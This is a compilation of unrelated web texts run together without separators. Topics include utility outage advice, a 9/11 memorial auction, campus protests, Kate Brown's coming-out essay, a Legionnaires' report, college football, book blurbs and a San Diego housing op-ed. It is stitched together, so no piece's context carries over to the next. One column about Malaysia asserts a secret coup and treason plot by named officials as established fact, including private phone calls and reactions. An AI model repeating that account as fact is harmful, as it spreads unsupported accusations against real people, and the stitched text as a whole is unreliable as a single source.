National Grid customers in New England who experience outages should call National Grid’s outage line at 1-800-465-1212 immediately to expedite restoration.
Power problems can sometimes interrupt public water supply systems or disable well pumps, so it’s an especially good idea to keep a supply of bottled drinking water handy, as well as some canned food.
People who depend on electric-powered life support equipment, such as a respirator, should let National Grid know. To register as a life support customer, call the company’s Customer Service Center at 1-800-322-3223.
Check on elderly family members, neighbors and others who may need assistance during an outage period.
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The memorial was commissioned shortly after the terror attacks by Fletcher Smoak Jr., former owner of a Salem, Va.-based brick company. He acquired the beams for $1,500 from a friend who ran a New York-area scrap-metal company.
“It’s very moving,” Smoak said of the memorial he fashioned from the beams, which are propped up so they resemble the Twin Towers. “They were covered in ash. We cleaned them up.”
Smoak sold his company in 2005. The new owner ran the business into the ground and liquidated everything in April, including the monument.
As of Saturday, the top bid on the monument was $10. Bidding closes July 14.
Retired FDNY Deputy Chief Jim Riches, whose firefighter son, Jimmy, was killed on 9/11, called the auction “sickening.”
“I think it’s disgraceful. It wasn’t meant to be sold. I don’t think they have the right to sell it,” he said. “My son was in the north tower with other men from Engine 4. They got up to the 30th floor. That could have been one of the last beams they stood on.”
Smoak thinks the memorial is fine just where it is, in front of his former business.
Columbia student activists are pestering peers to attend campus protests and walk-outs in solidarity with college students at Missouri and Yale or risk social isolation, students say.
Organizers posted flyers and sent Facebook messages inviting undergraduates to wear black clothing and join two demonstrations last Thursday to support people of color who are “marginalized and threatened.”
But some students worried they would be “ostracized” if they did not participate or dress in sync, one college parent said.
“There’s been a campaign of intimidation, where students are going dorm to dorm, floor to floor and asking students to go back to their dorms and put on black if they’re not wearing black,” the parent said.
“My daughter told me people are uneasy and fearful,” she added. “Her personal politics are left-wing and she shares their sympathies, but she doesn’t like to feel that she can’t wear blue if she wants to wear blue.”
Some students felt caught between their politics and academic responsibilities.
“We support them, but we’re here to learn,” said one senior who declined to give her name. “There’s a divide among students. People who are not willing to walk out are seen as not supporting the movement.”
One freshman said, “Some students were asking if I knew about the protest and why I wasn’t there. It was just my choice. I’m not really the protest type.”
Fed up with their administration’s slow response to slurs directed at black student leaders and threats of violence, University of Missouri students demonstrated for weeks before forcing their president’s resignation on Nov. 9.
And tempers boiled at Yale, where students chastised an administrator for arguing Halloween costumes should be “a little bit offensive” and condemned a fraternity for restricting entrance to its Halloween party while chanting “white girls only.”
Hundreds of Columbia students gathered at the South Lawn Thursday, and some speakers heckled bystanders who did not participate.
“Look at those guys playing Frisbee — that is the definition of privilege,” said one speaker.
The students stopped playing Frisbee and left the area.
Another student wearing a T-shirt with the words “Kill White Supremacy” called Columbia a “white supremacist institution.”
She led the crowd in a progression of chants including “I love black people,” “I love all black people” and “I love queer black people,” before adding “I love black criminals” and “I love black people who steal.”
“Raise your hand if you’re a little bit uncomfortable,” she said as a smattering of hands went up.
Katherine “Kate” Brown (D)
Born June 21, 1960
State Senator, District 21
Portland, Oregon
114,000 constituents
Career Overview
Appointed to State House of Representatives November 1991
Elected November 1992
Re-elected 1994
Elected to Senate November 1996
Elected Democratic Senate Leader by fellow Democratic Senators November 1998
Re-elected 2000, 2004
Elected Senate Majority Leader in 2004
Elected Oregon Secretary of State in 2008.
Became Governor of Oregon on February 18, 2015.
Essay by Kate Brown for Out and Elected in the USA
I believe it was during my early 30’s that I figured out who, or what, I am. But it wasn’t until it was written in the Oregonian newspaper that I was bisexual that I had to face the inevitable and let those around me know. Thus began my very public coming out as a bisexual:
Coming out to my parents – who flew in from Minnesota “to have a talk.” Their response – “It would be much easier for us if you were a lesbian.”
Coming out to my gay friends – who called me half-queer.
Coming out to my straight friends – who never thought I could make up my mind about anything anyway.
And, most frighteningly to me:
Coming out to my legislative colleagues. At the beginning of the next legislative session sitting in the House lounge, representative Bill Markham, who is over 70 years old, extremely conservative, and a legislator for more than 20 years comes to join me. Over lunch he looks up to say, “Read in the Oregonian a few months ago you were bisexual. Guess that means I still have a chance?!”
Some days I feel like I have a foot in both worlds, yet never really belonging to either.
Editor's Update
Kate Brown was elected Oregon Secretary of State in November 2008.[1]
On February 13, 2015, Governor of Oregon, John Kitzhaber, announced his pending resignation as the result of a public corruption scandal.[2] Upon Kitzhaber's resignation, Kate Brown succeeded him on February 18, 2015, becoming the first openly bisexual governor of an American state.[3]
After Brown became governor a reporter noted that “OutHistory has one of the first, if only, first-person testimonials about Oregon Secretary of State Kate Brown’s experience coming out to friends, family and colleagues as bisexual.” The reporter asked how Brown's essay came to be. On February 21, 2015, Ron Schlittler explained how he created the Kate Brown entry for Out and Elected.
The overall process and motivation for creating Out and Elected in the USA: 1974-2004, is pretty well set out on the OutHistory site, Editor's Introduction and Ron Schlittler's Introduction. I met with Kate Brown at a one-on-one constituent breakfast in Oregon to take her photograph. I was at the time a field organizer for the national office of PFLAG (Parents Families and Friends of Lesbians and Gays). As with the other subjects of the project, I requested an essay or interview reflecting what Kate wanted to say about her experience of being "Out and Elected." Kate submitted a personal essay to accompany the photo. Kate’s case was a bit unique, though, because we knew each other personally. Responding to the scourge of anti-gay ballot measures in Oregon in the early 1990s I became involved with local and state politics while a student at the University of Oregon. My first job after graduation was as campaign manager, then legislative assistant, to then state senator from Lane County, Pete Sorenson. When I went to work at the Oregon State Capitol in 1994, Kate had just won her second election, and was part of what was a pretty impressive but informal lesbian, gay, bisexual caucus of legislators at the time, from both sides of the isle (See: Chuck Carpenter and George Eighmey; also serving at the time, but not featured in Out and Elected: Gail Shibley and Cynthia Wooten). Because of the experience of the ballot measures, the entire state was highly attuned to things LGB (not so much also the “T” at that time). So it was no surprise when The Oregonian newspaper outed Kate in print, though her identification as bisexual was no secret. I think Kate's essay for the project reflects her refreshingly concise and disarming candor, sense of humor, and roll-with-the-punches style. Since those days when she was first elected (by 7 votes!), in the same 1992 election that the notorious Oregon Ballot Meausre 9 was defeated, it has been gratifying to see her advance in state politics, and now see this remarkable ascension to the Governorship.[4] I am pleased that the state and national media rather widely picked up on Kate's essay because it allowed her story to be told in her own words. Her essay addresses a natural curiosity about her publicly acknowledged sexuality. It helps to set to rest what might have become an undue distraction during a very busy and challenging time for her and the state. I am also pleased that my research has brought attention to a piece of LGBT history, and to the invaluable and rich resource that is OutHistory. I am glad and proud to have my work presented there.
THE CORRIDORS OF POWER
Raja Petra Kamarudin
It was exactly one year ago today. Wednesday, 29th July 2015 was supposed to have been the day that Prime Minister Najib Tun Razak would be given just two choices to make — resign or face detention.
It would have been during the Cabinet meeting when this would happen. Attorney General Abdul Gani Patail would be waiting outside the room with the police and Deputy Prime Minister Muhyiddin Yassin would inform Najib of his two choices. Najib would then be shown the ‘charge sheet’ that they had prepared and which was supposed to convince the rest of the Cabinet members that there is a case against Najib.
Najib, however, made a third and unexpected choice. Before Muhyiddin and Gani could launch their 29th July 2015 attack, Najib moved first and finished them off instead. And that ended the 29th July 2015 coup that would have seen Muhyiddin as the new Prime Minister and Mukhriz Mahathir as his Deputy. And the action by the Malaysian Anti-Corruption Commission in a bid to cover their behind is to issue a press statement saying that the charge sheet was fake after all.
But that did not stop Tun Dr Mahathir Mohamad and his ANC (Anti-Najib Campaign). The 29th July 2015 defeat was merely a temporary setback and not a failure as far as Mahathir was concerned. He may have lost one battle but he believed he had yet to lose the war. So he launched many more battles that included, but were not restricted to, a vote of no confidence in Parliament in October 2015 and a similar move in December 2015 during the Umno general assembly.
However, just like the 29th July 2015 putsch, all the other moves failed as well.
That was what happened exactly one year ago today on 29th July 2015.
The problem with conspiracies is that the best committee is a committee of one. Once more than one person is involved it gets very dicey because people like to boast and show others that they know something that other people do not know. And you must also observe the golden rule: do not count your chickens before they hatch.
Mahathir was so eager, and probably so cock-sure of himself, that five days before that, on 24th July 2015, Mahathir wished Najib ‘happy retirement’ (READ HERE). Mahathir was so sure that Najib was going to be shown the door on 29th July and that nothing was going to save the Prime Minister from the fate that Mahathir had planned for him.
Mahathir’s birthday party at Berjaya Times Square where he wished Najib ‘happy retirement’, which was supposed to have happened on 29th July 2015.
A day earlier, on 23rd July 2015, Khairuddin Abu Hassan was so sure that Najib was finished that he said if the Prime Minister survives the month then he is going to cut off his own head. That was how confident Khairuddin was that Najib would no longer be the Prime Minister by the 30th of July 2015 that he dared promise he would cut off his own head. On 30th July 2015 Najib was still Prime Minister while Khairuddin somehow could not find where he placed his parang.
After that fiasco of 29th July 2015, Mahathir made sure that this time around he would not share any more sensitive secrets with those who are beginning to prove themselves morons and who just love letting the cat out of the bag. So Mahathir kept what he is now doing close to his chest and confided only in those who needed to execute the plan.
And the only four people he confided in were Tun Daim Zainuddin, outgoing Malaysian Anti-Corruption Commission (MACC) chief Abu Kassim Mohamed, former Attorney-General Abdul Gani Patail, and former Bank Negara Governor Dr Zeti Akhtar Aziz. Only these four knew what was going to happen on the First Anniversary of the failed 29th July 2015 coup.
And what was going to happen was simple. On 20th July 2016, the US Justice Department and the US Attorney General would hold a press conference regarding US$1 billion of 1MDB’s stolen money they would be confiscating and would return to Malaysia.
On 26th July 2016, Abu Kassim would be holding his farewell dinner attended by Gani and Zeti and the three would hold a joint-press conference related to the 20th July announcement by the US and then they would suggest that Najib resign from office.
Today, 29th July 2016, the Malaysian mainstream and alternative/social media would carry the story published by The Guardian titled ‘1MDB: The inside story of the world’s biggest financial scandal’ (READ HERE). This was supposed to reinforce the 20th July announcement by the US and drive the final nail in Najib’s coffin.
And then, to give Najib that final push, a rally called Bersih 5.0 would be held where they hoped no less than 250,000 Malaysians would take to the street and battle it out with the police — whereby the chaos and bloodshed would force the military to step in to declare an emergency and Najib would be shown the door at the point of a gun.
Yes, Mahathir was convinced, as what he said many times over the last year, that Najib will never be able to be ousted using constitutional means or through a vote of no confidence. That has been proven over the last year. The only way to oust Najib would be through, as what Mahathir calls it, Peoples’ Power. So they need a ‘Malaysian Spring’ to do that, although it is currently summer in Malaysia.
And this new plan was known by only five people: Mahathir, Daim, Gani, Abu Kassim and Zeti. This plan was too sensitive to be shared with people such as Kadir Jasin, Zainuddin Maidin, Syed Akbar Ali, Khairuddin and all those others who cannot keep their mouths shut and would spoil everything by letting the cat out of the bag.
But then, against orders, Daim went and told Kadir about the plan, and on the 22nd of July 2016, two days after the US announcement, Kadir went and let the cat out of the bag with the message below.
Kadir Jasin’s revelation of 22nd July 2016 that spoiled the whole plan.
Kadir was so excited he could not hold back and he revealed the plan that there will not be a general election in 2018 because chaos is soon going to be triggered and an emergency would be declared after which the country would be run by a National Operation Council against the backdrop of a suspended parliament.
Basically, they are going to do what they tried to do in Turkey recently. And was not the US also accused of having a hand in that failed Turkish coup?
Yes, Bersih 5.0 is actually supposed to be May 13 version 2.0 whereby Najib would be ousted by force and power would be seized through the barrel of a gun. And with this revelation by Kadir, the alarm bells went off and Najib’s Boffin Boys started digging into this. And this was when they discovered the plan for the First Anniversary of Najib’s failed ouster in July last year that started with the US announcement on 20th July 2016 and is supposed to end with the chaos triggered by Bersih 5.0.
Mahathir in Jakarta, Indonesia
It was 11.30am on Tuesday, 26th July 2016, in Jakarta when Mahathir received that phone call from Malaysia. It was a phone call to inform him that the Umno Youth Deputy Chief, Khairul Azwan Harun, had made a police report against Abu Kassim, Gani and Zeti.
Mahathir suddenly froze and went pale and his wife, Tun Dr Siti Hasmah Mohamad Ali, panicked and thought that maybe Mahathir was suffering his fourth or fifth heart attack. Mahathir had just received a bit of distressing news that he had never planned for.
Mahathir frantically tried to phone Gani, Abu Kassim and Zeti but all three did not pick up their phones. In fact, they had blocked Mahathir’s number because they realised that in the case of an investigation their phone records would be checked and the last thing they wanted is proof that Mahathir had been in contact with them.
The issue was no longer just about attempting to topple the Prime Minister. It was now a crime of espionage and treason. And Malaysia’s Whistleblower Protection Act 2010 does not cover espionage and treason. So they were very much exposed and unprotected and this frightened them.
Mahathir then phoned Daim and he confirmed that the news was true: a police report had been made against Abu Kassim, Gani and Zeti and it appeared like this was going to be very serious involving giving Malaysian government secrets to a foreign power.
Mahathir then asked Daim whether he had told anyone else about the plan, and after hesitating a short while, Daim admitted that he had told Kadir. Hence the reason for Kadir’s posting of 22nd July 2016 regarding the chaos, suspension of parliament, martial law and so on.
Mahathir was now fuming mad but he still hoped that the joint-press conference by Gani, Abu Kassim and Zeti at Abu Kassim’s farewell dinner that same evening would still go on. However, it did not. In fact, Gani did not even dare attend that dinner. And, worst of all, Abu Kassim went to the Prime Minister’s office at 5.00pm that same day to try to meet Najib.
Unknown to Mahathir at that time, by lunchtime the conspiracy had collapsed. There was to be no press conference that evening and there may not even be a Bersih 5.0 rally to trigger chaos, which will result in the suspension of parliament and a government ruled by the National Operation Council.
Abu Kassim was hoping he could speak to Najib to explain his earlier statement where he admitted that he worked with the US government without approval or authorisation. A person in his position (as well as for Gani and Zeti) has to take an oath of secrecy and a pledge of loyalty and working with a foreign power would be considered espionage and hence would be treason.
But Najib’s Chief Secretary told Abu Kassim that the Prime Minister does not wish to see him. So he went home empty-handed and worried like hell that he may face the gallows if arrested and charged for espionage and treason.
And today, 29th July 2016, we see yet another epic collapse of the coup to oust Najib on the First Anniversary of the failed coup of 29th July 2015. The article by The Guardian, which was supposed to strengthen the announcement by the US Justice Department and the US Attorney General on 20th July 2016, has also not achieved the impact it was supposed to achieve because the joint-press conference by Gani, Abu Kassim and Zeti was aborted. And it also looks like Bersih 5.0 or May 13 Version 2.0 may have to be called off as well.
The AAC very clearly remembers that it was not too long ago that the Power 5 was a Power Six. The Big East was an automatic qualifier back in the days of the BCS, before it was raided so much that it finally ceased to exist as a football conference. Still, a full half of the Big East’s 2012 lineup formed the AAC in 2013, and the AAC was itself an AQ conference in the final year of the BCS. When the powers-that-be formed the College Football Playoff starting in 2014, the AAC was left behind as no longer being a power conference. The AAC certainly remembers that it has only spent three seasons as a second-class conference–the seniors on eight AAC rosters played for a BCS berth. That’s not a long time ago.
“By virtue of its competitive success and its adoption of autonomous initiatives, the [AAC] has earned the Power 6 label.” — Kevin McGuire (@KevinOnCFB) May 1, 2017
Also, the AAC certainly remembers the drama that the Mountain West Conference forced the BCS into almost a decade ago. It didn’t get so much attention in the mainstream college football world–mostly because no one really took it seriously–but the BCS had serious concerns about a potential antitrust lawsuit. Therefore, the BCS set up a series of requirements that would allow a non-AQ conference to become an AQ conference. If, over the course of four years of play, the Mountain West could have proven themselves to be a top six conference in the country, it could have become a seventh AQ conference.
The MWC’s dreams never came to fruition, partially due to the defections of Utah and BYU, and partially due to the bottom of the conference just never quite being good enough. Still, that memory has to be present in the minds of AAC commissioner Michael Aresco and the power brokers of the Power 5 conferences.
As a purely legal issue, there are certainly no antitrust issues with the CFP that the BCS potentially could have had. The BCS granted access to the best bowls to certain conferences. There were concerns that letting a high-ranking non-AQ conference champion get access wasn’t enough to counteract that. Now, though, the Power 5 have no particular deal tying them to the CFP. The Power 5 get their increased money and access directly due to their contracts with the bowls. The Power 5 don’t have their status due to being the best five conferences; their status (technically) comes from them being contracted into three of the major NY6 bowls (Pac 12 and Big Ten–Rose; SEC and Big 12–Sugar; ACC–Orange). Nevertheless, the precedent still stands that a conference, through impressive results on the field, can turn the conversation to the point of, “Why aren’t these guys also a power conference?”
Ultimately, that has to be the AAC’s goal. It’s why this campaign is worded the way it is. The AAC wants the college football world to think of it as another power conference. After all, right now the only meaningful part of being a Power 5 conference is that the Power 5 each earn a heck of a lot more money from the CFP than the Group of 5 conferences do. Even so, though, that money is only a drop in the bucket compared to what the power conferences get from TV deals. Ultimately, a lucrative TV deal is what the AAC wants and needs.
Let’s be honest: There is no Power 6 right now. There is a Power 5. The AAC, right now, is certainly a few steps ahead of the Group of 5 (though the Mountain West is not as far behind the AAC as the AAC would like to believe). That doesn’t make it a power conference, though. The gap between the Power 5 and the AAC is still far wider than the gap between the AAC and the other Group of 5 conferences. The AAC has put forward an excellent set of goals that, if met, will bridge the gap to the Power 5. But the gap is still there, and it won’t disappear overnight.
The AAC needs to shift public perception of it to that of a power conference. In today’s college football world, that probably means putting a team in the Playoff in one of the next few years. The CFP selection committee has shown a willingness to respect AAC teams on multiple occasions in the past few years. The goal of reaching the Playoff is not unreasonable. But, no matter what else the conference does to meet the plans it has laid out, if it can’t be in the Playoff conversation in November, then the AAC won’t be taken seriously by college football fans.
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Event Chrysalis Premiere Join us on Wednesday, April 23 at 7:30pm for an exclusive premiere event at the Logan Theater in Chicago! This is the big one - all our cast and crew will be there, all our Kickstarter backers who supported us will be there, and there may even be a few surprises!
Stick around after the screening for a brief Q&A with director John Klein and screenwriter Ben Kurstin, and come over to the Logan's very own bar and lounge area afterwards to say hi to the cast!
Be careful - unlike most people, we do actually bite...
CHRYSALIS is a post-apocalyptic horror film set decades after a bio-terrorist attack unleashes a virus upon the world, transforming much of humanity into vicious creatures and laying waste to civilization. The remnants and survivors have staggered about for years, as the infected slowly starve and die off.
Our story follows Josh (Cole Simon) and Penelope (Sara Gorsky), two such survivors who have banded together in the hope of rescuing others and hopefully rebuilding civilization. When they encounter Abira (Tanya Thai McBride), the lone survivor of another group, they must face new and terrifying challenges if they are to survive.
Chrysalis (2014) is the fourth feature from Glass City Films, produced in association with Huckpoten Entertainment, written by Ben Kurstin and directed by John Klein. Score by Darren Callahan.
Funded via Kickstarter - check out our success: kck.st/OCMZII
Website: http://www.TheRestAreDead.com
IMDb: imdb.com/title/tt2836260
Twitter and Instagram: @GlassCityFilms
Facebook: facebook.com/TheRestAreDead
Tumblr: TheRestAreDead.tumblr.com
Copyright 2014 Glass City Films LLC. Location Logan Theater (View)
2646 North Milwaukee Avenue
Chicago, IL 60647
United States 2646 North Milwaukee AvenueChicago, IL 60647United States
Categories Arts > Visual Film > Movies Film > Premiers
Minimum Age: 17 Kid Friendly: No Dog Friendly: No Non-Smoking: Yes! Wheelchair Accessible: Yes! Contact Owner: Glass City Films On BPT Since: Sep 01, 2010 Glass City Films & Huckpoten Entertainment +353879828784 info@huckpotenentertainment.com www.therestaredead.com
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This week, workers at the Jean Edmonds Tower at 300 Slater St. in Ottawa were notified a worker in the building that houses Citizenship and Immigration Canada had contracted Legionnaires’ disease, a potentially deadly form of pneumonia caused by the Legionella bacteria. The worker had already recovered fully and the building’s cooling towers tested and disinfected before CIC staff were notified.
“It does alarm me when somebody in a building contracts a disease from an unknown source and they just carry on as if nothing’s going on,” said Bob Kingston, co-chair of the service-wide occupational health and safety committee with the Public Service Alliance of Canada. “To me, that’s unacceptable.
“Everyone in that building should have been notified the second it was learned. Everybody in that building should have been given the option to work from home … until we know what the source was.”
The case is the first incidence of Legionnaires’ disease reported this year to Ottawa Public Health. An investigation couldn’t determine how the person had been infected and a spokesman for Citizenship and Immigration says there’s no evidence to suggest the building is to blame.
Test results from the Jean Edmonds Tower were expected to be received some time Wednesday, but were not immediately available.
News of the infection came the same week that workers at two other federal buildings, Place du Centre at 200 Portage St. in Gatineau, and 30 Victoria St. in Gatineau, learned that routine tests had shown high levels of the Legionella bacteria. The cooling towers at 30 Victoria were disinfected and follow up tests showed bacteria levels back to normal, according to Public Works and Government Services Canada.
At Place du Centre, high levels of Legionella bacteria were found in a 12th floor shower on June 12. The building’s hot water system has been shut down and disinfected. Followup tests were due to be received Thursday.
Legionella: What you need to know
The culprit:
The Legionella bacterium was first identified in 1976 after a mysterious respiratory infection killed 34 American Legion members at a conference in Philadelphia. The bacteria were traced to the hotel’s air conditioning system, which circulated air throughout the building. Researchers later found the same Legionella bacteria were responsible for an outbreak of a flu-like illness two years earlier in Pontiac, Michigan.
Legionella bacteria are ubiquitous and found in nature in lakes and streams and in artificial environments like plumbing systems, hot water tanks, hot tubs and building cooling towers. The bacteria flourishes in warm water, especially hot water systems that aren’t kept hot enough or are poorly maintained.
How it spreads:
The disease is not contagious and can’t be passed from person to person. The bacteria is only dangerous if it becomes airborne and is inhaled. That’s what makes cooling towers a special concern. The systems extract heat through towers in which tiny water drops are sprayed through circulating air. That air is not supposed to mix with the air inside buildings, but can find its way in through breaches in ductwork. Legionella bacteria in the hot water supply can become airborne and inhaled in steam vapour from showers or hot tubs.
People have also been infected by inhaling soil or potting compost that carries Legionella bacteria.
The symptoms:
Legionnaires disease is a serious form of pneumonia that can only be distinguished from other pneumonias by blood tests and bacterial cultures. Legionnaires’ disease and Pontiac fever, together known as Legionellosis, share symptoms that include fever, cough, muscle pain and headaches. Symptoms usually appear from two to 14 days after infection. Most cases are treated by antibiotics.
How common is it?
Legionellosis infections must be reported to public health units. There were two cases of Legionellosis in Ottawa in 2014, down from seven the year before. Provincially, cases of Legionellosis declined to 125 in 2014, well below the five-year average of 161 cases a year.
Who’s at risk?
Smokers, the elderly, pregnant women, people on dialysis and people with compromised immune systems are most at risk of infection.
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bcrawford@ottawacitizen.com
Retired General Jerry Boykin, who serves as executive vice president of the Family Research Council, warned this week that women Navy SEALs should “expect consequences” for violating “the laws of nature.”
Speaking to Fox News host Brian Kilmeade on Thursday, Boykin agreed that two women who recently passed the Army Ranger course “deserved a lot of credit,” but he predicted that they would never be allowed to serve in a Ranger battalion.
“I’m on record as saying that I do not believe that women belong in infantry units and special operations units,” Boykin noted. “I wish the leadership in our military was more focused on the readiness of our military, the restoration of the services to our troops and their families than they were on social experiments.”
Boykin argued that the conditions that Rangers and Navy SEALs faced were “as primal as you can get.”
“You cannot violate the laws of nature without expecting some consequences,” he insisted. “The people that advocate for this have never lived out of a rucksack in a combat situation.”
Boykin added: “And finally, the leadership burden for that young captain or major that is leading these units that has to make special provisions for the females to have some privacy is an unreasonable burden.”
Retired Marine Captain Anu Bhagwati reminded Boykin that “over a hundred women have successfully passed Marine Corps infantry training battalion.”
“There’s your all-women force, general,” she quipped. “Also, I think the general is just wrong. Thirteen years of warfare have proven that women can live out of rucksacks in completely horrendous conditions in combat alongside men.”
“They have been in combat. They have fought in died in combat, in fact. And we should remember that.”
Watch the video below from Fox News’ Fox & Friends, broadcast Aug. 20, 2015.
CAPITALISM: A TREATISE ON ECONOMICS " R eisman's exposure of modern mercantilist fallacies takes its place alongside that of Adam Smith." - James Buchanan,
Nobel Laureate in Economics, 1986 " A magnum opus on the nature of capitalism, one that has depth, breadth, foresight and style. It is a book on economics that stands head and shoulders above all others as a monumental tribute to the human capacity to engage in productive work and the moral worth of a system of principles wherein such work is fully appreciated. While detailed and touching on nearly every possible nuance of the subject, this is a very readable book which anticipates all the questions and objections educated, thoughtful people may have about an economic system that has not been given its full and proper due by anyone before Reisman took up the task. Ludwig von Mises would be gratified to know how one of his students has carried forth the task he began." - Tibor Machan,
Professor of Philosophy,
Auburn University
" R eisman develops powerful and highly original theories of aggregate profit and interest, savings and capital accumulation, wages, and aggregate economic accounting. At once an introductory, intermediate, and advanced text, as well as a mine of information on current political and economic issues, Capitalism advances economic theory by several leagues and paves the way for a genuine twenty-first century liberalism." - Jerry Kirkpatrick,
Professor of Marketing,
California State Polytechnic University " R eisman's Capitalism is the most rigorous and relentless case for laissez-faire capitalism written in our time. It is both a brilliant rebuttal of the charges against the market order and a discerning master plan for the restoration of capitalism." - Hans Sennholz,
President,
Foundation for Economic Education " R eisman has compiled one of the best defenses of the economics and morality of liberty I've seen written in recent years." - Walter E. Williams,
Professor of Economics,
George Mason University
" F or two full academic years prior to its publication I had the fortunate opportunity to use working manuscripts of Capitalism as primary readings for my graduate business economics classes at Johns Hopkins University. The student response has been overwhelmingly positive. Capitalism's value as a treatise that provides a comprehensive, logically consistent view of the economic world cannot be overstated. It is brilliantly structured and offers the best integration of important new economic insights and time-tested truths available anywhere." - Robert D. Miller,
Lecturer
Johns Hopkins University
" T he most important tome about Austrian economics since Ludwig von Mises' Human Action and Murray Rothbard's Man, Economy, and State." - 1997 Foundation for Economic Education Book Catalogue " A sweeping and compelling case for the free market, which, as Professor Reisman shows, is the key to civilization." - Llewellyn H. Rockwell, Jr.,
President,
Ludwig von Mises Institute " T here are only a few truly great economic classics. Reisman's Capitalism takes its place among them as the leading defense of capitalism. . . . Reisman has taken a complex subject and made it understandable. In my experience, students who have read this work come away believing that economic principles are important and that economics actually makes sense." - George A. Mangiero,
Associate Professor of Economics,
Iona College " G eorge Reisman's Capitalism is probably the most remarkable textbook written by any economist in this century. It is a book that will broaden the horizons of economics students at the same time that it challenges and provokes their professors. It is, quite simply, must reading for anyone interested in economics." - Larry J. Sechrest,
Associate Professor of Economics,
Sul Ross State University " G eorge Reisman has written a profound, often brilliant work, full of fascinating and valuable insights, wisdom and vision. It is seldom that I find myself underlining or putting exclamation points in the margins of nearly every page of a book. . . . I have learned much from Reisman's magnum opus and recommend it highly to all readers who want to expand their vision of economic reality." - Mark Skousen, Adjunct Professor of Economics and Finance
Rollins College " A synthesis of Austrian and classical economics, including refutations of all the leading fallacies of our era." - Liberty Tree Review and Catalog " D r. Reisman has accumulated new evidence, building on Adam Smith and von Mises to give us the economic masterwork of our age. . . . Capitalism is meant to be a lifetime companion." - Conservative Book Club " A n expositon and defense of capitalism on a par with those of Mises and Hayek . . . ." - The Free Radical " R eisman's ringing manifesto for laissez-faire capitalism free of all government influence is at once a conservative polemic and a monumental treatise, brimming with original theories, that is remarkable for its depth, scope and rigorous argument." - Publishers Weekly (click to see the full text of this review) " O verall, Capitalism is a book you would want in your library if you want to know what a consistent, intelligent advocate of capitalism would say on almost any economic issue." - Fortune (click to see the full text of this review) " R eisman offers the most comprehensive defense of capitalism ever written. . . Capitalism is a classic." - The Freeman (click to see the full text of this review)
- See Numerous Readers' Reviews at Amazon.com
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back to top Below is the contents of the book in brief (part and chapter headings only). Table of Contents of Capitalism: A Treatise on Economics LIST OF FIGURES xxxv LIST OF TABLES xxxvi PREFACE xxxix INTRODUCTION 1 Part One The Foundations of Economics 1. ECONOMICS AND CAPITALISM 13 2. WEALTH AND ITS ROLE IN HUMAN LIFE 39 3. NATURAL RESOURCES AND THE ENVIRONMENT 63 Part Two The Division of Labor and Capitalism 4. THE DIVISION OF LABOR AND PRODUCTION 121 5. THE DEPENDENCE OF THE DIVISION OF LABOR ON CAPITALISM 133 6. THE PRICE SYSTEM AND ECONOMIC COORDINATION 171 7. PRICE CONTROLS AND ECONOMIC CHAOS 219 8. SOCIALISM, ECONOMIC CHAOS, AND TOTALITARIAN
DICTATORSHIP 267 9. THE INFLUENCE OF THE DIVISION OF LABOR ON THE INSTITUTIONS OF CAPITALISM 297 10. MONOPOLY VERSUS FREEDOM OF COMPETITION 377 11. THE DIVISION OF LABOR AND THE CONCEPT OF PRODUCTIVE ACTIVITY 445 Part Three The Process of Economic Progress 12. MONEY AND SPENDING 507 13. PRODUCTIONISM, SAY'S LAW, AND UNEMPLOYMENT 547 14. THE PRODUCTIVITY THEORY OF WAGES 609 15. AGGREGATE PRODUCTION, AGGREGATE SPENDING, AND THE ROLE OF SAVING IN SPENDING 681 16. THE NET-CONSUMPTION/NET-INVESTMENT THEORY OF PROFIT AND INTEREST 729 17. APPLICATIONS OF THE INVARIABLE-MONEY/ NET-CONSUMPTION ANALYSIS 821 18. KEYNESIANISM: A CRITIQUE 877 19. GOLD VERSUS INFLATION 911 20. TOWARD THE ESTABLISHMENT OF LAISSEZ FAIRE CAPITALISM 985 A BIBLIOGRAPHY OF WRITINGS IN DEFENSE OF CAPITALISM 993 INDEX 1001 Go to Reisman's Program of Self-Education in the Economic Theory and Political Philosophy of Capitalism, Based on Capitalism as the Main Text Return to Top of Page This site has been visited times since November 12, 1996.
Feels great to make cal my new home #Gobears pic.twitter.com/0IJAD4n1C1 — Armani Rogers (@A_Rogers4) February 23, 2015
Rogers is the Western League Player of the Year for leading Hamilton to a Section Division II championship, a 12-4 record, and a clean slate in league play.
Rogers currently holds early offers from Cal, UCLA and Utah, but it seems Tony Franklin and crew sold Rogers on Berkeley strong this weekend. There aren't many ratings on him yet. Only Rivals has given him any points at this point, with three stars (5.5), but that will change. Rogers's tape just pops off with potential, and the Bears have found a diamond in Los Angeles.
The first thing that stands out is the long athletic frame. Standing at 6'5 and 200 pounds, Rogers is a tower. That's Cam Netwon level height paired with Colin Kaepernick lankiness. Also, he has a fastball of a throw that zips past defenders, and it doesn't seem like he needs to even wind up--that football comes out and it finds his receiver in the best possible position. He's obviously a bit raw in terms of mechanics and techniques, but if he can develop the mental aspect of the game along with his athleticism in the next few years, it won't be long before he's entering that quarterback competition.
On Oct. 23, the City Council is scheduled to vote on Ward and his colleagues’ proposal, plus other vacation rental proposals. The policies Ward and his cohorts are proposing, though, will displace tens of thousands of San Diego residents over the next decade.
It’s already hard enough to find affordable homes in San Diego. Our elected leaders should not consider a proposal that will make it harder.
Lack of regulation and enforcement on San Diego’s existing short-term vacation rentals, which were deemed illegal by San Diego City Attorney Mara Elliot in March, has had a disastrous impact on the housing stock of our communities already.
In stark contrast to our elected leaders’ stated goals of increasing housing in coming years, however, the vacation rental memo released by four Council members in September shows their intent to turn houses into hotels.
It is especially strange considering Alvarez and Sherman sit on the Smart Growth and Land Use Committee, which recently released a report co-written with the San Diego Housing Commission recommending emergency measures to help alleviate the housing crisis. Short-term vacation rentals were not mentioned at all in the report.
In 2016, nearly all community planning boards in San Diego determined that the housing loss and other negative effects of allowing vacation rentals were too detrimental to our future to ignore. The Community Planners Committee recommended that the City Council continue to require housing in residential zones remain as housing for residents, not hotels.
Neighborhood planning groups are set up to give City Council members boots-on-the-ground advice on land-use issues that affect San Diego communities. I’m unaware, however, of any office meetings between Alvarez, Ward, Cate or Sherman and their community planners to talk about the short-term vacation rental issue.
Meanwhile, the offices of Alvarez, Ward, Cate and Sherman all took meetings with AirBnB’s local lobbyist this year.
The scariest part of the Ward-Alvarez-Kersey-Sherman memo is the allowance for each property owner to own three short-term vacation rentals. It is not hard to imagine a family who might amass up to a dozen vacation rentals by listing different family members as the owners. At the Ocean Beach Planning Board, I’ve seen families building short-term vacation rental businesses and lying about their brother or mother living in them regularly. The three- person limit will do little to limit housing loss.
